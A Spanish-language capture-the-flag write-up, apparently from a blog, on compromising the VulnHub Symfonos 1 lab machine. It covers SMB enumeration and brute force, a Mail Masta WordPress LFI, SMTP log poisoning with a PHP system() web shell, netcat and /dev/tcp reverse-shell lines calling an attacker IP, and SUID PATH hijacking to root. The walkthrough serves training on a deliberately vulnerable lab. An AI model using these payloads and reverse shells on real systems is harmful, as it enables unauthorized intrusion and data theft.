Un Fantasma en el Sistema unfantasmaenelsistema.com

Vulnhub: Symfonos 1 Write UP

INTRODUCCIÓN

Symfonos es una buena máquina para practicar enumeración de información en SMB, detección de exploits mediante LFI, envenenamiento de Log y escalada de privilegios mediante alteración del PATH.

Visitar Symfonos 1 en VulnHub

CONFIGURACIÓN DE ENTORNO

Levantamos la máquina en nuestro Virtualbox.

Lo puedes descargar de la siguiente URL: https://www.vulnhub.com/entry/symfonos-1,322/

Configuración de la red en VirtualBox

Máquina Kali Linux:

Máquina Symfonos 1

Administrador de Red en Virtualbox

Adaptador

Servidor DHCP

Iniciamos primero symfonos para que obtenga su dirección DHCP

Iniciamos Kali

Estamos en la IP 192.168.56.101

RECONOCIMIENTO

HOST DISCOVERY

sudo nmap -sn 192.168.56.0/24

Nos devuelve 3 Ips activas:

192.168.56.1

192.168.56.100

192.168.56.101

192.168.56.102

Lo verificamos mediante un escaneo Ping:

fping -a -g 192.168.56.0/24 2>/dev/null

Aquí solo nos devuelve 3 IPs.

El tema está en cómo funcionan fping y nmap -sn:

En nuestro caso:

Sabemos que la de Kali es 192.168.56.101 por tanto, lo más probable es que la máquina symfonos tenga la 192.168.56.102

ping 192.168.56.102

A partir de los resultados de este ping, el valor del TTL (Time to Live) indica que el sistema operativo de destino es probablemente Linux o Unix.

El valor TTL es un campo en el encabezado de un paquete IP que especifica el número máximo de saltos (routers) que un paquete puede atravesar antes de ser descartado. Cuando un paquete se envía, se le asigna un valor TTL inicial. Cada vez que el paquete pasa por un router, el valor de TTL se decrementa en 1.

Los sistemas operativos establecen diferentes valores TTL iniciales por defecto. En este caso, el valor TTL mostrado en el ping es 64. Este valor es típico de los sistemas operativos basados en Linux y Unix, donde el TTL inicial por defecto es 64.

Sistema Operativo TTL Inicial Típico
Linux/Unix 64
Windows 128
macOS 64
Cisco IOS 255

Aunque macOS también usa un TTL de 64, es mucho más común encontrar este valor en servidores o dispositivos IoT que a menudo ejecutan variantes de Linux. El valor de TTL puede ser modificado manualmente, por lo que esta no es una regla infalible, pero es una excelente indicación.

Ahora que sabemos que nuestro objetivo está en 192.168.56.102, configuramos el registro local de DNS. Así nos lo avisaban en la página de VulnHub

Añadir la IP al archivo /etc/hosts es por comodidad y compatibilidad con los labs, no porque sea estrictamente necesario para atacar la máquina.

Razones principales:

Nombre canónico esperado

Comodidad

Compatibilidad con herramientas

Lo añadimos al fichero /etc/hosts:

sudo nano /etc/hosts

ENUMERACIÓN

Escaneamos nuestra máquina víctima. En los resultados se observan servicios con puertos comunes: 22 (SSH), 25 (SMTP), 80 (HTTP), 139,445 (SMB).

nmap -sV 192.168.56.102

## Ping scan

(kali㉿kali)-[~]

└─$ sudo nmap -sV 192.168.56.102

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 10:47 EDT

Nmap scan report for 192.168.56.102

Host is up (0.0028s latency).

Not shown: 995 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

25/tcp open smtp Postfix smtpd

80/tcp open http Apache httpd 2.4.25 ((Debian))

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

MAC Address: 08:00:27:47:D7:CF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 27.73 seconds

nmap Escaneo de puerto completo

sudo nmap -p- 192.168.56.102

Nada nuevo.

Análisis de la versión de servicios con nmap

sudo nmap -sV -A 192.168.56.102

Escaneo de vulnerabilidades de nmap

sudo nmap --script vuln 192.168.56.102

Servicios abiertos

Vulnerabilidades detectadas

Vulnerabilidades no encontradas

Probamos el servivio HTTP:

La página symfonos.local no muestra nada más que una imagen

El código fuente no tiene nada sospechoso y la imagen, una vez analizada con exiftool no esconde nada en sus metadatos.

Usamos enum4linux para obtener información relevante ya que encontramos mediante nmap el servicio Samba expuesto. La idea es buscar directorios compartidos expuestos.

enum4linux 192.168.56.102

Resultados de la enumeración con enum4linux

Al analizar la información expuesta se visualiza que existe directorios compartidos /helios y /anonymous.

Probamos con helios pero no tenemos suerte:

smbclient --no-pass //192.168.56.102/helios

En las últimas líneas se observa que el script intenta conectarse.

Para el caso de /anonymous la conexión es exitosa; pero para el caso de /helios probablemente se requiera credenciales.

Procedemos a conectaremos al directorio /anonymous.

smbclient --no-pass //192.168.56.102/anonymous

Después de conectarnos a la ruta /anonymous compartida, nos encontramos un archivo “attention.txt”.

Extraemos el archivo a nuestra máquina Kali con el comando “get” y cerramos sesión

Revisamos su información.

De acuerdo con el archivo, nos indica posibles credenciales “epidioko”, “qwerty”, “baseball” y la probabilidad de que exista un usuario Zeus que sea root. La pregunta ahora es ¿esas credenciales pueden funcionar?

epidioko

qwerty

baseball

En una de las imágenes del inicio, se había encontrado dos rutas: La primera /helios y /anonymous. Entonces, probablemente, “helios” sea un nombre de usuario y además pueda ser que “helios” utilice una de las credenciales débiles encontradas.

Probamos en el servicio SSH con las credenciales, pero no se tuvo éxito. Vamos ahora a probar si alguna funciona conta SMB

Creamos un fichero que contiene el usuario helios y un fichero con los passwords.

Para probar usuarios y contraseñas contra SMB (puerto 445) con tus ficheros users.txt y passwords.txt, lo más cómodo es usar Hydra o CrackMapExec.

Con Hydra

hydra -L users.txt -P passwords.txt smb://192.168.56.102

Explicación:

Hydra irá probando todas las combinaciones.

No encuentra nada. Eso pasa mucho con Hydra contra SMB.El problema es que Hydra a veces no interpreta bien el módulo smb://.

Para SMB conviene lanzar Hydra con el módulo explícito smb

hydra -L users.txt -P passwords.txt 192.168.56.102 smb

Aquí no se usa smb://... sino solo la IP y el módulo smb.

Pero tampoco encuentra nada.

Alternativa con Medusa (más estable para SMB):

medusa -h 192.168.56.102 -U users.txt -P passwords.txt -M smbnt

Y Medusa si nos dice que la contraseña del usuario helios es qwerty

Usando el usuario “helios” con la credencial “querty” se logró acceder.

smbclient //192.168.56.102/helios -U helios

qwerty

Investigamos los archivos que se encuentran en el directorio /helios

Descargamos el contenido y salimos

Revisamos los archivos extraídos y nos indica que trabajemos en la ruta /h3l105

Al ingresa a la ruta encontrada, se detecta una aplicación basada en WordPress

symfonos.local/h3l105

Nos encontramos ante un Wordpress.

ENUMERACIÓN MANUAL DE DIRECTORIOS

Deberíamos comprobar los siguientes puntos a la hora de enfrentarnos a un Wordpress:

index.php

Revisar posibles rutas del login:

/wp-admin/login.php

/wp-admin/wp-login.php

/login.php

/wp-login.php

En esta ruta encontramos una página de login:

http://symfonos.local/h3l105/wp-login.php

Sabemos que el usuario es admin por el resultado del escaneo de WPScan posterior, pero también porque al hacer pruebas con las contraseñas que habíamos encontrado: epidioko, qwerty y baseball para el usuario helios y para el usuario admin, que es el más común en un Wordpress, la respuesta es que la contraseña para el usuario “admin” es incorrecta, lo cual confirma la existencia del usuario.

En /wp-content es la ruta principal donde estan los /plugins y /themes, cuando estás enumerando plugins o temas cuando pones X plugin y la pantalla sale blanco significa que existe, sino saldría un código de respuesta 404.

En /wp-includes están los certificados, fuentes, java script y widgets.

http://symfonos.local/h3l105/wp-includes/

Comprobar si tenemos acceso al archivo xmlrpc.php

http://symfonos.local/h3l105/xmlrpc.php

Comprobar si hay expuesto el archivo /wp-config.php.txt

Si nos encontramos que la web no se ve bien, es posible que la web este apuntando a un virtual hosting routing, cosa que podemos ver si vemos el código fuente de la web, si es así tenemos que añadir en el /etc/hosts de nuestra máquina apuntando a la IP + dominio

ENUMERACIÓN DE PLUGINS DE WORDPRESS

Vamos a tratar de enumerar los plugins de este Wordpress:

curl -s -X GET "http://symfonos.local/h3l105/" | grep -oP 'plugins/\K[^/]+' | sort -u

curl -s -X GET "http://symfonos.local/h3l105/" | grep -oP 'plugins/\K[^/]+' | sort -u

Paso por paso

Aquí obtienes el código fuente HTML de la página.

En resumen: extrae los nombres de los plugins de WordPress encontrados en rutas como:

/wp-content/plugins/mail-masta/

/wp-content/plugins/site-editor/

devuelve solo:

mail-masta

site-editor

Te quedas con una lista limpia de plugins únicos.

Resultado final

El comando te devuelve un listado único de los plugins de WordPress detectados en la página:

mail-masta

site-editor

ESCANEO DEL WORDPRESS CON WPSCAN

El primer paso será actualizar el escaner de wordpress para que tenga actualizada la base de datos de las vulnerabilidades:

wpscan --update

Desde la versión 3.7.0 de la herramienta WPScan, si deseas mostrar datos de vulnerabilidad, los usuarios deberán usar y configurar un token de API para recuperar los últimos datos de vulnerabilidad de la API de WPVulnDB.

Todas las demás funciones de la herramienta WPScan funcionarán normalmente si no usas o configuras un token de API WPVulnDB, pero cuando se detecta una versión de WordPress, una versión de complemento o una versión de tema, no obtendrás los datos de vulnerabilidad asociados, ya que proviene de la API WPVulnDB.

Funcionalidades como la enumeración de versiones de WordPress, la enumeración de complementos, la enumeración de temas, la enumeración de archivos de copia de seguridad, el forzamiento bruto de contraseña débil, la enumeración de Timthumb y todas las demás funcionalidades de WPScan CLI funcionarán normalmente, sin la necesidad de un token API.

El beneficio para los usuarios de utilizar la API WPVulnDB es que obtendrán los datos de vulnerabilidad inmediatamente después de que ingresemos a la base de datos. En este momento, con la implementación actual, los usuarios tienen que esperar hasta la mañana siguiente para usar los últimos datos de vulnerabilidad.

La API permitirá a los usuarios realizar 50 solicitudes diarias de forma gratuita.

Es por esto que resulta muy interesante que obtengamos una API desde la página oficial registrándonos de forma gratuita:

https://wpvulndb.com/api

Una vez que tengamos nuestra API, para mantener el token API en un archivo de configuración y no tener que suministrarlo a través de la CLI cada vez, crearemos un archivo yml dentro de la carpeta .wpscan:

~ / .wpscan / scan.yml

que contenga lo siguiente:

cli_options:

api_token: YOUR_API_TOKEN

Escaneamos el activo con wpscan. Par aprovechar al máximo el escaneo, usaremos nuestro token de la API de wpscan. Puedes logearte en la aplicación https://wpscan.com/ y obtener tu token. La razón se debe a que wpscan requiere hacer consultas a su propia DB privada para identificar los CVE’s o exploit’s durante los escaneos.

También puedes poner tu token directamente en el comando:

wpscan --url http://symfonos.local/h3l105/ -- enumerate ap -- api-token {my_token}

Plugins Identificados:

[+] mail-masta

| [!] 2 vulnerabilities identified:

| [!] Title: Mail Masta <= 1.0 - Unauthenticated Local File Inclusion (LFI)

| [!] Title: Mail Masta 1.0 - Multiple SQL Injection

[+] site-editor

| [!] 1 vulnerability identified:

| [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)

Usuarios identificados:

admin

Tras los resultados de la enumeración y detectado un Local File Inclusion No autenticado, decidimos explotar esta vulnerabilidad:

Referencias:

https://wpscan.com/vulnerability/5136d5cf-43c7-4d09-bf14-75ff8b77bb44

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956

https://www.exploit-db.com/exploits/40290/

https://www.exploit-db.com/exploits/50226/

https://cxsecurity.com/issue/WLB-2016080220

Procedemos a revisar el exploit con la información pública en internet

https://www.exploit-db.com/exploits/40290

[+] Date: [23-8-2016]

[+] Autor Guillermo Garcia Marcos

[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip

[+] Title: Mail Masta WP Local File Inclusion

[+] info: Local File Inclusion

La vulnerabilidad File Inclusion permite a un atacante incluir un archivo, generalmente explotando los mecanismos de "inclusión dinámica de archivos" implementados en la aplicación de destino. La vulnerabilidad se produce debido al uso de la entrada proporcionada por el usuario sin la validación adecuada.

Source: /inc/campaign/count_of_send.php

Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php:

Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php

Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php

Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php

Line 4: include($_GET['pl']);

Este parece un lugar perfecto para probar LFI. Si un atacante tiene la suerte, y en lugar de seleccionar la página apropiada de la matriz por su nombre, el script incluye directamente el parámetro de entrada, es posible incluir archivos arbitrarios en el servidor.

La prueba de concepto típica sería cargar el archivo passwd:

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Al revisar el exploit, vemos una POC como ejemplo que permite extraer el contenido del /etc/passwd

El plugin vulnerable

http://example.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Probamos la POC en symfonos.local y así se obtiene el /etc/password

El fichero /var/mail/helios suele contener el buzón local del usuario helios. También podría estar en /var/spool/mail/helios.

Probamos a acceder a la dirección:

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios

El parámetro pl=/var/mail/helios

Lo que haces al pasar pl=/var/mail/helios es decirle al script que incluya ese archivo del sistema. Como no hay control, si el archivo existe y el proceso de Apache/WordPress tiene permisos, el contenido se inyecta directamente en la respuesta HTTP:

Accedemos al contenido del buzón de correo de helios que obtuvimos con la LFI. Eso significa que estamos viendo los correos recibidos en la cuenta local de helios.

Correo de WordPress:

From: WordPress (línea ~109)

Your new WordPress site has been successfully... (línea ~117)

Username: admin (línea ~123)

Password: The password you chose during installation. (línea ~124)

Log in here: http://192.168.201.134/h3l105/wp-login.php (línea ~125)

Nos confirma:

EXPLOTACIÓN

Vamos entonces a enviar un correo de prueba con sendEmail para ver si muestra que el SMTP funciona. Probamos con estos dos comandos; el primero no resulta pero el segundo si consigue enviar el email:

sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.56.102:25

sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.56.102:25 -o tls=no

La diferencia está en cómo está configurado el servicio SMTP (Postfix) en la víctima.

🔎 Análisis de los comandos

sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.56.102:25

smtpd_use_tls=yes

smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.56.102:25 -o tls=no

Conclusión

El primer comando falla porque sendEmail intenta TLS y Postfix no lo maneja bien en esta VM (o el cliente no lo acepta).El segundo comando funciona porque fuerza conexión en claro, saltándose STARTTLS.

Esto te dice algo muy importante para la explotación: el SMTP de la máquina acepta conexiones sin cifrar y sin autenticación, lo que te permite abusar del servicio para enviar correos internos al usuario helios.

Actualizamos y encontramos nuestro email enviado :

Hasta ahora hemos explotado el LFI que permite obtener el /etc/passwd.

Para poder obtener un RCE tenemos que aprovecharnos de otro vector de ataque. En este caso, haremos una injection de código en log del SMTP.

Esta será la injection que usaremos tal y como nos decía en https://www.exploit-db.com/exploits/40290:

Ese código PHP crea una vulnerabilidad de ejecución remota de comandos (RCE). El comando system() ejecuta un comando del sistema operativo, y la entrada ($_GET[‘comando’]) proviene directamente de la URL, sin ningún tipo de validación o filtrado.

Explicación de la vulnerabilidad

Cómo se explota (para obtener RCE)

Un atacante podría inyectar cualquier comando del sistema operativo en la URL para que sea ejecutado por el servidor web.

Ejemplo de ataque:

Vamos entonces a enviar un email con esa injection de la siguiente manera:

telnet 192.168.56.102 25

MAIL FROM: test@test.com

RCPT TO: helios

DATA

SUBJECT:

php system($_GET['cmd']); ?>

.

Quit

Qué hacemos línea por línea y qué significa

Recargamos la página del buzón pare ver si ha entrado:

view-source:http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios

Y vemos que el correo a llegado:

Ahora con log del SMPT injectado o “envenenamiento de log”. Procederemos a ejecutar el comando “id” para probar si funciono el envenenamiento de log:

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id

Al revisar la página web, se evidencia el “id” del usuario, es decir, se ejecutó correctamente el comando “id”:

uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

ESCALADA DE PRIVILEGIOS

Conseguir una Shell

Para levantar una shell procederemos con lo siguiente:

nc -lvnp 1234

symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc -e /bin/sh 192.168.56.101 1234

symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc -e /bin/sh 192.168.56.101 1234

Para estabilizar la shell se puede aplicar cualquiera de los 2 métodos:

python -c “import pty; pty.spawn(‘/bin/bash’)”

o

python -c “import pty; pty.spawn(‘/bin/sh’)”

Una vez que has accedido a la máquina Symfonos usando Netcat (nc) y tienes una shell básica (tipo reverse shell), necesitarás convertir esa shell en una terminal totalmente interactiva.

Pasos para obtener una terminal interactiva (TTY)

1. Comprueba que tienes una shell:

Intenta ejecutar:

whoami

2. Invoca una terminal TTY:

Ejecuta este comando para mejorar la shell:

python -c 'import pty; pty.spawn("/bin/bash")'

- Si no funciona:

python3 -c 'import pty; pty.spawn("/bin/bash")'

- Alternativa con socat, si está disponible:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp::

Procedemos a buscar binarios con el flag SUID. Para ello utilizamos el comando:

find / -perm -4000 2>/dev/null

Vamos a desmenuzar el comando:

find / -perm -4000 2>/dev/null

1. find /

Le dice al comando find que empiece a buscar desde la raíz del sistema (/), es decir, en todo el sistema de archivos.

2. -perm -4000

Este criterio de búsqueda significa:

En otras palabras, busca todos los archivos con el bit SUID activado.Un binario con SUID ejecuta el programa con los permisos del propietario del archivo (generalmente root) en lugar de los permisos del usuario que lo ejecuta.

Ejemplo:/usr/bin/passwd suele tener SUID, porque un usuario normal necesita poder cambiar su contraseña, lo cual implica modificar /etc/shadow (sólo accesible por root).

3. 2>/dev/null

Esto redirige la salida de error (descriptor 2, que corresponde a stderr) hacia /dev/null (un "agujero negro" del sistema).Se usa porque find / va a entrar en muchos directorios donde no tienes permisos y mostraría muchos errores molestos. Así, se limpia la salida y sólo ves resultados útiles.

En resumen:El comando busca en todo el sistema archivos con el bit SUID activado y oculta los errores de permisos.Es un comando muy usado en auditorías de seguridad, ya que los binarios con SUID pueden ser aprovechados para escalar privilegios si están mal configurados.

La búsqueda de binarios SUID nos da un binario no estándar en /opt/statuscheck

strings /opt/statuscheck

strings /opt/statuscheck

1. strings

Es una utilidad de Linux que extrae las cadenas de texto legibles de un archivo binario u objeto.

Un archivo binario suele contener código máquina (no legible), pero a veces dentro lleva:

strings muestra todo lo que parece texto imprimible (ASCII o Unicode) con una longitud mínima (por defecto 4 caracteres).

2. /opt/statuscheck

Aquí le estás diciendo a strings que trabaje sobre el archivo llamado statuscheck ubicado en la ruta /opt/.

Tras usar strings sobre el binario statuscheck vemos:

curl -I H

http://lH

ocalhostH

¿Qué significa?

Esto indica que el binario ejecuta internamente el comando curl contra http://localhost.

Además, vemos la función system en el binario:

system

Eso nos dice que el programa probablemente haga algo así en C:

system("curl -I http://localhost");

La vulnerabilidad

El problema está en el uso inseguro de system() con un comando externo (curl).

Ejemplo típico:

statuscheck "; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Si el binario es SUID root (algo muy común en estos escenarios de CTF/labs), entonces la inyección permite ejecutar comandos como root, logrando escalada de privilegios.

En resumen

La vulnerabilidad es:

Ataque de PATH hijacking (secuestro del PATH).

En la carpeta /tmp podemos crear un archivo llamado curl cuyo contenido simplemente invoque la shell /bin/sh. Después le damos permisos de ejecución y modificamos la variable de entorno PATH para que /tmp aparezca en primer lugar. De esta forma, cuando ejecutemos el binario /opt/statuscheck, este intentará usar curl, pero en lugar del binario legítimo encontrará y ejecutará el falso curl que hemos colocado en /tmp.

1. Contexto

Ya vimos que el binario /opt/statuscheck hace internamente algo como:

system("curl -I http://localhost");

Cuando se usa system(), la shell (/bin/sh) buscará el binario curl dentro de las rutas que haya en la variable de entorno $PATH.

2. Lo que haces en /tmp

cd /tmp

echo "/bin/sh" > curl

chmod 777 curl

En la práctica, has creado un falso curl que en vez de hacer peticiones web, lanza una shell.

3. Manipulación del PATH

export PATH=/tmp:$PATH

4. Ejecución del binario vulnerable

/opt/statuscheck

En resumen

Este ataque aprovecha que el programa vulnerable usa system("curl ...") sin ruta absoluta (/usr/bin/curl), dependiendo del PATH.

cd /tmp

echo "/bin/sh" > curl

chmod 777 curl

echo $PATH

export PATH=/tmp:$PATH

/opt/statuscheck

id

cd /root

cat proof.txt

Una vez nos situamos en el directorio /root y listamos contenido podemos ver un archivo llamado proof.txt:

Hacemos un cat para ver el contenido:

Y obtenemos la bandera: